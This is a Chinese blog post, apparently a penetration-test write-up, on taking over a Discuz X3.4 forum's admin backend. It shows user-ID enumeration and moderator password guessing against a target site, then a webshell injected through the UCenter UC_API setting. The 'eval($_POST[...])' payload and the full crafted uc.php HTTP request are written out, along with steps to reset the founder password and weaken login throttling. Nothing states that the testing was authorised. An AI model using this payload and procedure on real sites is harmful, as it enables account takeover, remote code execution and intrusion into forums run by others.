记一次Discuz X3.4后台getshell

2021-11-10 15:19:25 浏览数 (1)

Discuz简介

Discuz 超过300万站长使用,全球成熟度最高、覆盖率最大的建站系统之一,拥有超过5000款应用。

站长可以方便的通过 Discuz 搭建社区论坛、知识付费网站、视频直播点播站、企业网站、同城社区、小程序、APP、图片素材站,游戏交流站,电商购物站、小说阅读、博客、拼车系统、房产信息、求职招聘、婚恋交友等等绝大多数类型的网站。

Discuz自2001年6月面世以来,已有20年的历史,Discuz性能优异、功能全面、安全稳定,在社区论坛(BBS)软件领域全球市场占有率第一。

站长可以不需要任何编程基础,通过简单的安装和设置,在互联网上搭建起具备完善功能、很强负载能力和可高度定制的网站。

Discuz的基础架构采用世界上最流行的web编程组合PHP MySQL实现,是一个经过完善设计,适用于各种服务器环境的高效建站解决方案.

测试过程

目标站点

通过查看ID号,发现用户量并不多

通过访问ID1 ~ ID52 遍历出对应的用户名信息[home.php?mod=space&uid=1]

随即通过爆破ID号,发现以下ID存在用户信息,其他都提示指定的空间不存在

通过测试发现多个管理员、超级版主、版主等相关用户信息,在测试时发现以下账户名比较随意与目标站点存在关联性且为版主权限

登陆后台

尝试以相同用户名、域名缩写、弱口令等进行组合尝试进行登陆,并获取帐户权限

尝试以版主帐户密码登陆管理中心及Uc_server均失败

随即观察其他超级版主、版主帐户用户名规则发现存在一定的规律,想到可能是一个团队在维护,既然这样的话有没有可能除了管理员权限以外其他版主的密码是通用的呢?尝试以组合出的密码登陆超级版主帐户

登陆成功,并立即设置为隐身模式

继续尝试以超级版主的权限访问管理中心及Uc_server,发现依然均失败,看来还是只能管理员权限才可以访问。

在uc_server管理员登陆旁发现有UCenter创始人登陆口

随即重复之前的方法再试一下,发现登陆成功!

利用UCenter新建管理员帐户或找一个许久未登陆过的管理员帐户进行密码修改并登陆管理中心

后台getshell

1、进入后台选择

站长-UCenter设置,修改UCenter通信密钥小生观察室并记录下来,填入code.php

备注:code.php源码可通过公众号 小生观察室 回复Discuz3.4后台getshell获取

修改

代码语言:javascript复制
UC_API=http://127.0.0.1/uc_server');eval($_POST[小生观察室]);//

点击保存

2、生成code参数的值

3、将code.php生成的参数带入GET方式发送请求(发送这个请求前后台功能都是不正常的,发送后后台恢复正常)

Request包:

代码语言:javascript复制
GET /bbs/api/uc.php?code=ffdek/R9ZX0zoLetsYN0KGkcGa/MJOcsvwIlAZUR+XA/Lhqr1Sg84YWvt3RtqWialTxD1UZhEnqB+DlnwRs HTTP/1.1
Host: www.小生观察室.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ar;q=0.8
Connection: close
Content-Length: 134

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://www.小生观察室.com/bbs/uc_server</item>
</root>

Response包:

代码语言:javascript复制
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=utf-8
Date: Thu, 30 Jul 2021 11:36:34 GMT
Server: nginx
Set-Cookie: emVP_2132_saltkey=ijzxkE19; expires=Sat, 29-Aug-2021 11:36:34 GMT; Max-Age=2592000; path=/; HttpOnly
Set-Cookie: emVP_2132_lastvisit=1596105394; expires=Sat, 29-Aug-2021 11:36:34 GMT; Max-Age=2592000; path=/
Set-Cookie: emVP_2132_sid=I6W6p8; expires=Fri, 31-Jul-2021 11:36:34 GMT; Max-Age=86400; path=/
Set-Cookie: emVP_2132_lastact=1596108994	uc.php	; expires=Fri, 31-Jul-2021 11:36:34 GMT; Max-Age=86400; path=/
Vary: Accept-Encoding
Content-Length: 1

1

4、访问 http://127.0.0.1/config/config_ucenter.php就是的shell地址

附加内容

1、Discuz!UCenter创始人密码重置方法

打开文件/uc_server/data/config.inc.php

修改2处内容:

代码语言:javascript复制
define('UC_FOUNDERPW', 'c3fd517aa6ad758d7424c3463f440478');
define('UC_FOUNDERSALT', 'test88');

这样UCenter创始人密码就改成了admin888

2、密码错误次数过多

修改核心控制文件,打开 /source/function/function_member.php,查找代码

代码语言:javascript复制
$return = (!$login || (TIMESTAMP - $login['lastupdate'] > 900)) ? 5 : max(0, 5 - $login['count']);

修改为:

代码语言:javascript复制
$return = (!$login || (TIMESTAMP - $login['lastupdate'] > 60)) ? 5 : max(0, 5 - $login['count']);

这里900即为秒数,也就是系统限制的15分钟,我们根据自己的需要改变数值即可。

0 人点赞